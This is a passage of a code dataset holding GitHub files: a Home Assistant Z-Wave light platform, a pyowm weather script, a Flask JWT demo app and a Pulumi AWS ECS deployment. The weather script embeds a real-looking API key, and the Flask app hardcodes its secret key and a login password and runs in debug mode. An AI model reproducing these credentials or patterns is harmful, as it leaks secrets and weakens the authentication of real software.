15, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 28, "usage_type": "call"}]}
{"seq_id": "23747093139", "text": "\"\"\"\nSupport for Z-Wave lights.\n\nFor more details about this platform, please refer to the documentation at\nhttps://home-assistant.io/components/light.zwave/\n\"\"\"\n# Because we do not compile openzwave on CI\n# pylint: disable=import-error\nfrom threading import Timer\n\nfrom homeassistant.components.light import ATTR_BRIGHTNESS, DOMAIN, Light\nfrom homeassistant.components import zwave\nfrom homeassistant.const import STATE_OFF, STATE_ON\n\n\ndef setup_platform(hass, config, add_devices, discovery_info=None):\n    \"\"\"Find and add Z-Wave lights.\"\"\"\n    if discovery_info is None or zwave.NETWORK is None:\n        return\n\n    node = zwave.NETWORK.nodes[discovery_info[zwave.ATTR_NODE_ID]]\n    value = node.values[discovery_info[zwave.ATTR_VALUE_ID]]\n\n    if value.command_class != zwave.COMMAND_CLASS_SWITCH_MULTILEVEL:\n        return\n    if value.type != zwave.TYPE_BYTE:\n        return\n    if value.genre != zwave.GENRE_USER:\n        return\n\n    value.set_change_verified(False)\n    add_devices([ZwaveDimmer(value)])\n\n\ndef brightness_state(value):\n    \"\"\"Return the brightness and state.\"\"\"\n    if value.data > 0:\n        return (value.data / 99) * 255, STATE_ON\n    else:\n        return 255, STATE_OFF\n\n\nclass ZwaveDimmer(zwave.ZWaveDeviceEntity, Light):\n    \"\"\"Representation of a Z-Wave dimmer.\"\"\"\n\n    # pylint: disable=too-many-arguments\n    def __init__(self, value):\n        \"\"\"Initialize the light.\"\"\"\n        from openzwave.network import ZWaveNetwork\n        from pydispatch import dispatcher\n\n        zwave.ZWaveDeviceEntity.__init__(self, value, DOMAIN)\n\n        self._brightness, self._state = brightness_state(value)\n\n        # Used for value change event handling\n        self._refreshing = False\n        self._timer = None\n\n        dispatcher.connect(\n            self._value_changed, ZWaveNetwork.SIGNAL_VALUE_CHANGED)\n\n    def _value_changed(self, value):\n        \"\"\"Called when a value has changed on the network.\"\"\"\n        if self._value.value_id != value.value_id:\n            return\n\n        if self._refreshing:\n            self._refreshing = False\n            self._brightness, self._state = brightness_state(value)\n        else:\n            def _refresh_value():\n                \"\"\"Used timer callback for delayed value refresh.\"\"\"\n                self._refreshing = True\n                self._value.refresh()\n\n            if self._timer is not None and self._timer.isAlive():\n                self._timer.cancel()\n\n            self._timer = Timer(2, _refresh_value)\n            self._timer.start()\n\n        self.update_ha_state()\n\n    @property\n    def brightness(self):\n        \"\"\"Return the brightness of this light between 0..255.\"\"\"\n        return self._brightness\n\n    @property\n    def is_on(self):\n        \"\"\"Return true if device is on.\"\"\"\n        return self._state == STATE_ON\n\n    def turn_on(self, **kwargs):\n        \"\"\"Turn the device on.\"\"\"\n        if ATTR_BRIGHTNESS in kwargs:\n            self._brightness = kwargs[ATTR_BRIGHTNESS]\n\n        # Zwave multilevel switches use a range of [0, 99] to control\n        # brightness.\n        brightness = int((self._brightness / 255) * 99)\n\n        if self._value.node.set_dimmer(self._value.value_id, brightness):\n            self._state = STATE_ON\n\n    def turn_off(self, **kwargs):\n        \"\"\"Turn the device off.\"\"\"\n        if self._value.node.set_dimmer(self._value.value_id, 0):\n            self._state = STATE_OFF\n", "repo_name": "giteshgoyal/webhelp-element-polymer", "sub_path": "demofile/app/bower_components/home-assistant-dev/homeassistant/components/light/zwave.py", "file_name": "zwave.py", "file_ext": "py", "file_size_in_byte": 3398, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "69", "api": [{"api_name": "homeassistant.components.zwave.NETWORK", "line_number": 18, "usage_type": "attribute"}, {"api_name": "homeassistant.components.zwave", "line_number": 18, "usage_type": "name"}, {"api_name": "homeassistant.components.zwave.NETWORK", "line_number": 21, "usage_type": "attribute"}, {"api_name": "homeassistant.components.zwave", "line_number": 21, "usage_type": "name"}, {"api_name": "homeassistant.components.zwave.ATTR_NODE_ID", "line_number": 21, "usage_type": "attribute"}, {"api_name": "homeassistant.components.zwave.ATTR_VALUE_ID", "line_number": 22, "usage_type": "attribute"}, {"api_name": "homeassistant.components.zwave", "line_number": 22, "usage_type": "name"}, {"api_name": "homeassistant.components.zwave.COMMAND_CLASS_SWITCH_MULTILEVEL", "line_number": 24, "usage_type": "attribute"}, {"api_name": "homeassistant.components.zwave", "line_number": 24, "usage_type": "name"}, {"api_name": "homeassistant.components.zwave.TYPE_BYTE", "line_number": 26, "usage_type": "attribute"}, {"api_name": "homeassistant.components.zwave", "line_number": 26, "usage_type": "name"}, {"api_name": "homeassistant.components.zwave.GENRE_USER", "line_number": 28, "usage_type": "attribute"}, {"api_name": "homeassistant.components.zwave", "line_number": 28, "usage_type": "name"}, {"api_name": "homeassistant.const.STATE_ON", "line_number": 38, "usage_type": "name"}, {"api_name": "homeassistant.const.STATE_OFF", "line_number": 40, "usage_type": "name"}, {"api_name": "homeassistant.components.zwave.ZWaveDeviceEntity", "line_number": 43, "usage_type": "attribute"}, {"api_name": "homeassistant.components.zwave", "line_number": 43, "usage_type": "name"}, {"api_name": "homeassistant.components.light.Light", "line_number": 43, "usage_type": "name"}, {"api_name": "homeassistant.components.zwave.ZWaveDeviceEntity.__init__", "line_number": 52, "usage_type": "call"}, {"api_name": "homeassistant.components.light.DOMAIN", "line_number": 52, "usage_type": "argument"}, {"api_name": "homeassistant.components.zwave.ZWaveDeviceEntity", "line_number": 52, "usage_type": "attribute"}, {"api_name": "homeassistant.components.zwave", "line_number": 52, "usage_type": "name"}, {"api_name": "pydispatch.dispatcher.connect", "line_number": 60, "usage_type": "call"}, {"api_name": "pydispatch.dispatcher", "line_number": 60, "usage_type": "name"}, {"api_name": "openzwave.network.ZWaveNetwork.SIGNAL_VALUE_CHANGED", "line_number": 61, "usage_type": "attribute"}, {"api_name": "openzwave.network.ZWaveNetwork", "line_number": 61, "usage_type": "name"}, {"api_name": "threading.Timer", "line_number": 80, "usage_type": "call"}, {"api_name": "homeassistant.const.STATE_ON", "line_number": 93, "usage_type": "name"}, {"api_name": "homeassistant.components.light.ATTR_BRIGHTNESS", "line_number": 97, "usage_type": "name"}, {"api_name": "homeassistant.components.light.ATTR_BRIGHTNESS", "line_number": 98, "usage_type": "name"}, {"api_name": "homeassistant.const.STATE_ON", "line_number": 105, "usage_type": "name"}, {"api_name": "homeassistant.const.STATE_OFF", "line_number": 110, "usage_type": "name"}]}
{"seq_id": "40473467606", "text": "import pyowm\n\nowm = pyowm.OWM('5b626cfbc81840ed25df6235c8313d7d')  # You MUST provide a valid API key\n\n# Have a pro subscription? Then use:\n# owm = pyowm.OWM(API_key='your-API-key', subscription_type='pro')\n\n# Search for current weather in London (Great Britain)\nuser_city = input(\"Введіть місто у якому потрібно дізнатись погоду! \")\nobservation = owm.weather_at_place(user_city)\nw = observation.get_weather()\n#print(w)                      # \n\n# Weather details\nw.get_wind()                  # {'speed': 4.6, 'deg': 330}\nw.get_humidity()              # 87\nw.get_temperature('celsius')  # {'temp_max': 10.5, 'temp': 9.7, 'temp_min': 9.0}\nprint(f\"Speed wind:{w.get_wind()['speed']} km/hours\")\nprint(f\"huminidy: {w.get_humidity()} humidity\")\nprint(f\"temperature: {w.get_temperature('celsius')['temp']} celsius\")\n\n# Search current weather observations in the surroundings of\n# lat=22.57W, lon=43.12S (Rio de Janeiro, BR)\nobservation_list = owm.weather_around_coords(-22.57, -43.12)", "repo_name": "andriidanyluik/softserve", "sub_path": "lecture7/classwork/first_pyowm.py", "file_name": "first_pyowm.py", "file_ext": "py", "file_size_in_byte": 1109, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pyowm.OWM", "line_number": 3, "usage_type": "call"}]}
{"seq_id": "20048719754", "text": "from flask import Flask, jsonify, request, make_response, redirect, render_template\nimport jwt\nimport datetime\nfrom functools import wraps\nimport os\nimport json\n\napp = Flask(__name__)\napp.config['SECRET_KEY'] = 'thisissecretkey'\n\ndef token_required(f):\n    @wraps(f)\n    def decorated(*args, **kwargs):\n        token = request.args.get('token') #http://127.0.0.1:5000/route?token=alshfjfjdklsfj89549834ur\n\n        if not token:\n            return jsonify({'message' : 'Token is missing!'}), 403\n\n        try:\n            data = jwt.decode(token, app.config['SECRET_KEY'])\n        except:\n            return jsonify({'message' : 'Token is invalid!'}), 403\n\n        return f(*args, **kwargs)\n\n    return decorated\n\n@app.route('/login')\ndef login():\n    auth = request.authorization\n\n    if auth and auth.password == 'secret':\n        token = jwt.encode({'user' : auth.username, 'exp' : datetime.datetime.utcnow() + datetime.timedelta(minutes=15)}, app.config['SECRET_KEY'])\n\n        return jsonify({'token' : token.decode('UTF-8')})\n\n    return make_response('Could not verify!', 401, {'WWW-Authenticate' : 'Basic realm=\"Login Required\"'})\n\n@app.route('/users',methods=['GET'])\n@token_required\ndef users():\n    if request.method == 'GET':\n        storage_path = 'users.json'\n        with open(storage_path, 'r') as f:\n            try:\n                users_data = json.load(f)\n                print('loaded that: ', users_data)\n            except Exception as e:\n                print(\"got %s on json.load()\" % e)\n        userdetails = []\n        for user in users_data:\n            userdetails.append([user['user_id'], user['name'], user['email']])\n        return render_template('show.html', userdetails=userdetails)\n\n@app.route('/albums',methods=['GET'])\n@token_required\ndef albums():\n    if request.method == 'GET':\n        storage_path = 'users.json'\n        with open(storage_path, 'r') as f:\n            try:\n                users_data = json.load(f)\n                print('loaded that: ', users_data)\n            except Exception as e:\n                print(\"got %s on json.load()\" % e)\n        all_albums = []\n        for user in users_data:\n            for album in user['albums']:\n                all_albums.append([album['album_id'],album['title']])\n        return render_template('albums.html', albumdetails=all_albums)\n\n@app.route('/albums/',methods=['GET'])\n@token_required\ndef get_album(album_id):\n    if request.method == 'GET':\n        storage_path = 'users.json'\n        with open(storage_path, 'r') as f:\n            try:\n                users_data = json.load(f)\n                print('loaded that: ', users_data)\n            except Exception as e:\n                print(\"got %s on json.load()\" % e)\n        all_albums = []\n        for user in users_data:\n            for album in user['albums']:\n                if album['album_id'] == album_id:\n                    all_albums.append([album['album_id'], album['title']])\n        return render_template('albums.html', albumdetails=all_albums)\n\n@app.route('/photos',methods=['GET'])\n@token_required\ndef photos():\n    if request.method == 'GET':\n        storage_path = 'users.json'\n        with open(storage_path, 'r') as f:\n            try:\n                users_data = json.load(f)\n                print('loaded that: ', users_data)\n            except Exception as e:\n                print(\"got %s on json.load()\" % e)\n        all_photos = []\n        for user in users_data:\n            for album in user['albums']:\n                album_id = album['album_id']\n                for photo in album[\"photos\"]:\n                    all_photos.append([photo['photo_id'], album_id])\n        return render_template('photos.html', photodetails=all_photos)\n\n@app.route('/photos/',methods=['GET'])\n@token_required\ndef get_photo(photo_id):\n    if request.method == 'GET':\n        storage_path = 'users.json'\n        with open(storage_path, 'r') as f:\n            try:\n                users_data = json.load(f)\n                print('loaded that: ', users_data)\n            except Exception as e:\n                print(\"got %s on json.load()\" % e)\n        all_photos = []\n        for user in users_data:\n            for album in user['albums']:\n                album_id = album['album_id']\n                for photo in album[\"photos\"]:\n                    if photo['photo_id'] == photo_id:\n                        all_photos.append([photo['photo_id'], album_id])\n        return render_template('photos.html', photodetails=all_photos)\n\nif __name__ == '__main__':\n    app.run(debug=True)\n\n\n", "repo_name": "ankitrohilla1/Flask_task1", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 4572, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "flask.Flask", "line_number": 8, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 14, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 14, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 14, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 17, "usage_type": "call"}, {"api_name": "jwt.decode", "line_number": 20, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 22, "usage_type": "call"}, {"api_name": "functools.wraps", "line_number": 12, "usage_type": "call"}, {"api_name": "flask.request.authorization", "line_number": 30, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 30, "usage_type": "name"}, {"api_name": "jwt.encode", "line_number": 33, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 33, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 33, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 33, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 35, "usage_type": "call"}, {"api_name": "flask.make_response", "line_number": 37, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 42, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 42, "usage_type": "name"}, {"api_name": "json.load", "line_number": 46, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 53, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 58, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 58, "usage_type": "name"}, {"api_name": "json.load", "line_number": 62, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 70, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 75, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 75, "usage_type": "name"}, {"api_name": "json.load", "line_number": 79, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 88, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 93, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 93, "usage_type": "name"}, {"api_name": "json.load", "line_number": 97, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 107, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 112, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 112, "usage_type": "name"}, {"api_name": "json.load", "line_number": 116, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 127, "usage_type": "call"}]}
{"seq_id": "8376075479", "text": "import base64\nimport json\n\nimport pulumi\nimport pulumi_aws as aws\nimport pulumi_docker as docker\n\n\ndef getRegistryInfo(rid):\n    creds = aws.ecr.get_credentials(registry_id=rid)\n    decoded = base64.b64decode(creds.authorization_token).decode()\n    parts = decoded.split(\":\")\n    if len(parts) != 2:\n        raise Exception(\"Invalid Credentials\")\n    return docker.ImageRegistry(creds.proxy_endpoint, parts[0], parts[1])\n\n\n# VPC Defaults\ndefault_vpc = aws.ec2.get_vpc(default=True)\ndefault_subnets = aws.ec2.get_subnets()\n\n# ECR\nfe_repo = aws.ecr.Repository(\n    \"frontend\",\n    tags={\n        'Environment': 'Dev',\n        'ResourceType': 'ECR',\n        'Component': 'Frontend'\n    },\n)\nfe_registry_info = fe_repo.registry_id.apply(getRegistryInfo)\n\nbe_repo = aws.ecr.Repository(\n    \"backend\",\n    tags={\n        'Environment': 'Dev',\n        'ResourceType': 'ECR',\n        'Component': 'Backend'\n    },\n)\nbe_registry_info = be_repo.registry_id.apply(getRegistryInfo)\n\nfrontend_image_name = fe_repo.repository_url\nfrontend = docker.Image(\n    \"frontend\",\n    build=\"frontend\",\n\n    image_name=frontend_image_name,\n    registry=fe_registry_info,\n)\n\nbackend_image_name = be_repo.repository_url\nbackend = docker.Image(\n    \"backend\",\n    build=\"backend\",\n    image_name=backend_image_name,\n    registry=be_registry_info,\n)\n\n# IAM\ntask_execution_role = aws.iam.Role(\n    'TaskExecutionRole',\n    assume_role_policy=pulumi.Output.from_input(\n        aws.iam.get_policy_document(\n            statements=[\n                aws.iam.GetPolicyDocumentStatementArgs(\n                    actions=[\n                        \"sts:AssumeRole\",\n                    ],\n                    principals=[\n                        aws.iam.GetPolicyDocumentStatementPrincipalArgs(\n                            type='Service',\n                            identifiers=[\n                                'ecs-tasks.amazonaws.com',\n                            ],\n                        )\n                    ],\n                )\n            ]\n        ).json\n    )\n)\n\ntask_execution_attachment = aws.iam.RolePolicyAttachment(\n    'TaskExecutionRolePolicyAttachment',\n    role=task_execution_role.id,\n    policy_arn='arn:aws:iam::aws:policy/service-role/'\n               'AmazonECSTaskExecutionRolePolicy',\n)\n\n# ALB\npublic_sg = aws.ec2.SecurityGroup(\n    'http_ingress',\n    vpc_id=default_vpc.id,\n    ingress=[\n        aws.ec2.SecurityGroupIngressArgs(\n            protocol='TCP',\n            from_port=80,\n            to_port=80,\n            cidr_blocks=['0.0.0.0/0'],\n        ),\n    ],\n    egress=[\n        aws.ec2.SecurityGroupEgressArgs(\n            protocol='-1',\n            from_port=0,\n            to_port=0,\n            cidr_blocks=['0.0.0.0/0']\n        )\n    ],\n    tags={\n        'Environment': 'Dev',\n        'ResourceType': 'Security Group',\n        'Component': 'Frontend',\n        'Access-Type': 'Public'\n    },\n)\n\necs_sg = aws.ec2.SecurityGroup(\n    'ecs_security_group',\n    vpc_id=default_vpc.id,\n    ingress=[\n        aws.ec2.SecurityGroupIngressArgs(\n            protocol='TCP',\n            from_port=5000,\n            to_port=5000,\n            cidr_blocks=['0.0.0.0/0']\n        ),\n    ],\n    egress=[\n        aws.ec2.SecurityGroupEgressArgs(\n            protocol='-1',\n            from_port=0,\n            to_port=0,\n            cidr_blocks=['0.0.0.0/0']\n        )\n    ],\n    tags={\n        'Environment': 'Dev',\n        'ResourceType': 'Security Group',\n        'Component': 'Frontend, Backend',\n        'Access-Type': 'Internal'\n    },\n)\n\ninternal_lb_sg = aws.ec2.SecurityGroup(\n    'internal_lb_security_group',\n    vpc_id=default_vpc.id,\n    ingress=[\n        aws.ec2.SecurityGroupIngressArgs(\n            protocol='TCP',\n            from_port=5000,\n            to_port=5000,\n            cidr_blocks=['172.31.0.0/16']\n        ),\n    ],\n    egress=[\n        aws.ec2.SecurityGroupEgressArgs(\n            protocol='-1',\n            from_port=0,\n            to_port=0,\n            cidr_blocks=['0.0.0.0/0']\n        )\n    ],\n    tags={\n        'Environment': 'Dev',\n        'ResourceType': 'Security Group',\n        'Component': 'Backend',\n        'Access-Type': 'Internal'\n    },\n)\n\nlb = aws.lb.LoadBalancer(\n    'at-lb-001',\n    internal=False,\n    load_balancer_type='application',\n    security_groups=[public_sg.id],\n    subnets=default_subnets.ids,\n    tags={\n        'Environment': 'Dev',\n        'ResourceType': 'External Load Balancer',\n        'Component': 'Frontend',\n        'Access-Type': 'External'\n    },\n)\npulumi.export(\"external_url\", pulumi.Output.concat(\"http://\", lb.dns_name))\n\nilb = aws.lb.LoadBalancer(\n    'at-ilb-001',\n    internal=True,\n    load_balancer_type='application',\n    security_groups=[internal_lb_sg.id],\n    subnets=default_subnets.ids,\n    tags={\n        'Environment': 'Dev',\n        'ResourceType': 'Internal Load Balancer',\n        'Component': 'Backend',\n        'Access-Type': 'Internal'\n    },\n)\npulumi.export(\"internal_url\", pulumi.Output.concat(\"http://\", ilb.dns_name))\n\nfe_target_group = aws.lb.TargetGroup(\n    'frontend-tg',\n    port=5000,\n    protocol='HTTP',\n    target_type='ip',\n    vpc_id=default_vpc.id)\n\nbe_target_group = aws.lb.TargetGroup(\n    'backend-tg',\n    port=5000,\n    protocol='HTTP',\n    target_type='ip',\n    vpc_id=default_vpc.id)\n\nfe_listener = aws.lb.Listener(\n    'fe-listener',\n    load_balancer_arn=lb.arn,\n    port=80,\n    default_actions=[\n        aws.lb.ListenerDefaultActionArgs(\n            type='forward',\n            target_group_arn=fe_target_group.arn,\n        ),\n    ])\n\nbe_listener = aws.lb.Listener(\n    'be-listener',\n    load_balancer_arn=ilb.arn,\n    port=5000,\n    default_actions=[\n        aws.lb.ListenerDefaultActionArgs(\n            type='forward',\n            target_group_arn=be_target_group.arn,\n        ),\n    ])\n\n# ECS\nfe_cluster = aws.ecs.Cluster(\n    'at-ecs-cluster-001',\n    tags={\n        'Environment': 'Dev',\n        'ResourceType': 'ECS Cluster',\n        'Component': 'Frontend'\n    },\n)\nbe_cluster = aws.ecs.Cluster(\n    'at-ecs-cluster-002',\n    tags={\n        'Environment': 'Dev',\n        'ResourceType': 'ECS Cluster',\n        'Component': 'Backend'\n    },\n)\nurl = pulumi.Output.all(ilb.dns_name).apply(\n    lambda args:\n    f\"http://{args[0]}:5000/WeatherForecast\"\n)\n\nfe_task_definition = aws.ecs.TaskDefinition(\n    'frontend',\n    family='airtek',\n    cpu='256',\n    memory='512',\n    network_mode='awsvpc',\n    requires_compatibilities=['FARGATE'],\n    execution_role_arn=task_execution_role.arn,\n    container_definitions=pulumi.Output.from_input([{\n        'name': 'frontend',\n        'image': frontend.image_name,\n        'portMappings': [{\n            'containerPort': 5000,\n            'hostPort': 5000,\n            'protocol': 'http',\n        }],\n        'environment': [{\n            \"name\": \"ApiAddress\",\n            \"value\": url\n        }]\n    }]).apply(lambda cs: json.dumps(cs)),\n)\n\nfe_service = aws.ecs.Service(\n    'frontend',\n    cluster=fe_cluster.arn,\n    desired_count=1,\n    launch_type='FARGATE',\n    task_definition=fe_task_definition.arn,\n    network_configuration=aws.ecs.ServiceNetworkConfigurationArgs(\n        assign_public_ip=True,\n        subnets=default_subnets.ids,\n        security_groups=[ecs_sg.id],\n    ),\n    load_balancers=[\n        aws.ecs.ServiceLoadBalancerArgs(\n            target_group_arn=fe_target_group.arn,\n            container_name='frontend',\n            container_port=5000,\n        ),\n    ],\n    tags={\n        'Environment': 'Dev',\n        'ResourceType': 'Fargate Service',\n        'Component': 'Frontend'\n    },\n)\n\nbe_task_definition = aws.ecs.TaskDefinition(\n    'backend',\n    family='airtek',\n    cpu='256',\n    memory='512',\n    network_mode='awsvpc',\n    requires_compatibilities=['FARGATE'],\n    execution_role_arn=task_execution_role.arn,\n    container_definitions=pulumi.Output.from_input([{\n        'name': 'backend',\n        'image': backend.image_name,\n        'portMappings': [{\n            'containerPort': 5000,\n            'hostPort': 5000,\n            'protocol': 'http',\n        }],\n    }]).apply(lambda cs: json.dumps(cs)),\n)\n\nbe_service = aws.ecs.Service(\n    'backend',\n    cluster=be_cluster.arn,\n    desired_count=1,\n    launch_type='FARGATE',\n    task_definition=be_task_definition.arn,\n    network_configuration=aws.ecs.ServiceNetworkConfigurationArgs(\n        assign_public_ip=True,\n        subnets=default_subnets.ids,\n        security_groups=[ecs_sg.id],\n    ),\n    load_balancers=[\n        aws.ecs.ServiceLoadBalancerArgs(\n            target_group_arn=be_target_group.arn,\n            container_name='backend',\n            container_port=5000,\n        ),\n    ],\n    tags={\n        'Environment': 'Dev',\n        'ResourceType': 'Fargate Service',\n        'Component': 'Backend'\n    },\n)\n\npulumi.export(\"fe_image_url\", frontend_image_name)\npulumi.export(\"be_image_url\", backend_image_name)", "repo_name": "blairhoddinott/airtek-cloud", "sub_path": "pulumi/__main__.py", "file_name": "__main__.py", "file_ext": "py", "file_size_in_byte": 8876, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pulumi_aws.ecr.get_credentials", "line_number": 10, "usage_type": "call"}, {"api_name": "pulumi_aws.ecr", "line_number": 10, "usage_type": "attribute"}, {"api_name": "base64.b64decode", "line_number": 11, "usage_type": "call"}, {"api_name": "pulumi_docker.ImageRegistry", "line_number": 15, "usage_type": "call"}, {"api_name": "pulumi_aws.ec2.get_vpc", "line_number": 19, "usage_type": "call"}, {"api_name": "pulumi_aws.ec2", "line_number": 19, "usage_type": "attribute"}, {"api_name": "pulumi_aws.ec2.get_subnets", "line_number": 20, "usage_type": "call"}, {"api_name": "pulumi_aws.ec2", "line_number": 20, "usage_type": "attribute"}, {"api_name": "pulumi_aws.ecr.Repository", "line_number": 23, "usage_type": "call"}, {"api_name": "pulumi_aws.ecr", "line_number": 23, "usage_type": "attribute"}, {"api_name": "pulumi_aws.ecr.Repository", "line_number": 33, "usage_type": "call"}, {"api_name": "pulumi_aws.ecr", "line_number": 33, "usage_type": "attribute"}, {"api_name": "pulumi_docker.Image", "line_number": 44, "usage_type": "call"}, {"api_name": "pulumi_docker.Image", "line_number": 53, "usage_type": "call"}, {"api_name": "pulumi_aws.iam.Role", "line_number": 61, "usage_type": "call"}, {"api_name": "pulumi_aws.iam", "line_number": 61, "usage_type": "attribute"}, {"api_name": "pulumi.Output.from_input", "line_number": 63, "usage_type": "call"}, {"api_name": "pulumi.Output", "line_number": 63, "usage_type": "attribute"}, {"api_name": "pulumi_aws.iam.get_policy_document", "line_number": 64, "usage_type": "call"}, {"api_name": "pulumi_aws.iam", "line_number": 64, "usage_type": "attribute"}, {"api_name": "pulumi_aws.iam.GetPolicyDocumentStatementArgs", "line_number": 66, "usage_type": "call"}, {"api_name": "pulumi_aws.iam", "line_number": 66, "usage_type": "attribute"}, {"api_name": "pulumi_aws.iam.GetPolicyDocumentStatementPrincipalArgs", "line_number": 71, "usage_type": "call"}, {"api_name": "pulumi_aws.iam", "line_number": 71, "usage_type": "attribute"}, {"api_name": "pulumi_aws.iam.RolePolicyAttachment", "line_number": 84, "usage_type": "call"}, {"api_name": "pulumi_aws.iam", "line_number": 84, "usage_type": "attribute"}, {"api_name": "pulumi_aws.ec2.SecurityGroup", "line_number": 92, "usage_type": "call"}, {"api_name": "pulumi_aws.ec2", "line_number": 92, "usage_type": "attribute"}, {"api_name": "pulumi_aws.ec2.SecurityGroupIngressArgs", "line_number": 96, "usage_type": "call"}, {"api_name": "pulumi_aws.ec2", "line_number": 96, "usage_type": "attribute"}, {"api_name": "pulumi_aws.ec2.SecurityGroupEgressArgs", "line_number": 104, "usage_type": "call"}, {"api_name": "pulumi_aws.ec2", "line_number": 104, "usage_type": "attribute"}, {"api_name": "pulumi_aws.ec2.SecurityGroup", "line_number": 119, "usage_type": "call"}, {"api_name": "pulumi_aws.ec2", "line_number": 119, "usage_type": "attribute"}, {"api_name": "pulumi_aws.ec2.SecurityGroupIngressArgs", "line_number": 123, "usage_type": "call"}, {"api_name": "pulumi_aws.ec2", "line_number": 123, "usage_type": "attribute"}, {"api_name": "pulumi_aws.ec2.SecurityGroupEgressArgs", "line_number": 131, "usage_type": "call"}, {"api_name": "pulumi_aws.ec2", "line_number": 131, "usage_type": "attribute"}, {"api_name": "pulumi_aws.ec2.SecurityGroup", "line_number": 146, "usage_type": "call"}, {"api_name": "pulumi_aws.ec2", "line_number": 146, "usage_type": "attribute"}, {"api_name": "pulumi_aws.ec2.SecurityGroupIngressArgs", "line_number": 150, "usage_type": "call"}, {"api_name": "pulumi_aws.ec2", "line_number": 150, "usage_type": "attribute"}, {"api_name": "pulumi_aws.ec2.SecurityGroupEgressArgs", "line_number": 158, "usage_type": "call"}, {"api_name": "pulumi_aws.ec2", "line_number": 158, "usage_type": "attribute"}, {"api_name": "pulumi_aws.lb.LoadBalancer", "line_number": 173, "usage_type": "call"}, {"api_name": "pulumi_aws.lb", "line_number": 173, "usage_type": "attribute"}, {"api_name": "pulumi.export", "line_number": 186, "usage_type": "call"}, {"api_name": "pulumi.Output.concat", "line_number": 186, "usage_type": "call"}, {"api_name": "pulumi.Output", "line_number": 186, "usage_type": "attribute"}, {"api_name": "pulumi_aws.lb.LoadBalancer", "line_number": 188, "usage_type": "call"}, {"api_name": "pulumi_aws.lb", "line_number": 188, "usage_type": "attribute"}, {"api_name": "pulumi.export", "line_number": 201, "usage_type": "call"}, {"api_name": "pulumi.Output.concat", "line_number": 201, "usage_type": "call"}, {"api_name": "pulumi.Output", "line_number": 201, "usage_type": "attribute"}, {"api_name": "pulumi_aws.lb.TargetGroup", "line_number": 203, "usage_type": "call"}, {"api_name": "pulumi_aws.lb", "line_number": 203, "usage_type": "attribute"}, {"api_name": "pulumi_aws.lb.TargetGroup", "line_number": 210, "usage_type": "call"}, {"api_name": "pulumi_aws.lb", "line_number": 210, "usage_type": "attribute"}, {"api_name": "pulumi_aws.lb.Listener", "line_number": 217, "usage_type": "call"}, {"api_name": "pulumi_aws.lb", "line_number": 217, "usage_type": "attribute"}, {"api_name": "pulumi_aws.lb.ListenerDefaultActionArgs", "line_number": 222, "usage_type": "call"}, {"api_name": "pulumi_aws.lb", "line_number": 222, "usage_type": "attribute"}, {"api_name": "pulumi_aws.lb.Listener", "line_number": 228, "usage_type": "call"}, {"api_name": "pulumi_aws.lb", "line_number": 228, "usage_type": "attribute"}, {"api_name": "pulumi_aws.lb.ListenerDefaultActionArgs", "line_number": 233, "usage_type": "call"}, {"api_name": "pulumi_aws.lb", "line_number": 233, "usage_type": "attribute"}, {"api_name": "pulumi_aws.ecs.Cluster", "line_number": 240, "usage_type": "call"}, {"api_name": "pulumi_aws.ecs", "line_number": 240, "usage_type": "attribute"}, {"api_name": "pulumi_aws.ecs.Cluster", "line_number": 248, "usage_type": "call"}, {"api_name": "pulumi_aws.ecs", "line_number": 248, "usage_type": "attribute"}, {"api_name": "pulumi.Output.all", "line_number": 256, "usage_type": "call"}, {"api_name": "pulumi.Output", "line_number": 256, "usage_type": "attribute"}, {"api_name": "pulumi_aws.ecs.TaskDefinition", "line_number": 261, "usage_type": "call"}, {"api_name": "pulumi_aws.ecs", "line_number": 261, "usage_type": "attribute"}, {"api_name": "pulumi.Output.from_input", "line_number": 269, "usage_type": "call"}, {"api_name": "pulumi.Output", "line_number": 269, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 281, "usage_type": "call"}, {"api_name": "pulumi_aws.ecs.Service", "line_number": 284, "usage_type": "call"}, {"api_name": "pulumi_aws.ecs", "line_number": 284, "usage_type": "attribute"}, {"api_name": "pulumi_aws.ecs.ServiceNetworkConfigurationArgs", "line_number": 290, "usage_type": "call"}, {"api_name": "pulumi_aws.ecs", "line_number": 290, "usage_type": "attribute"}, {"api_name": "pulumi_aws.ecs.ServiceLoadBalancerArgs", "line_number": 296, "usage_type": "call"}, {"api_name": "pulumi_aws.ecs", "line_number": 296, "usage_type": "attribute"}, {"api_name": "pulumi_aws.ecs.TaskDefinition", "line_number": 309, "usage_type": "call"}, {"api_name": "pulumi_aws.ecs", "line_number": 309, "usage_type": "attribute"}, 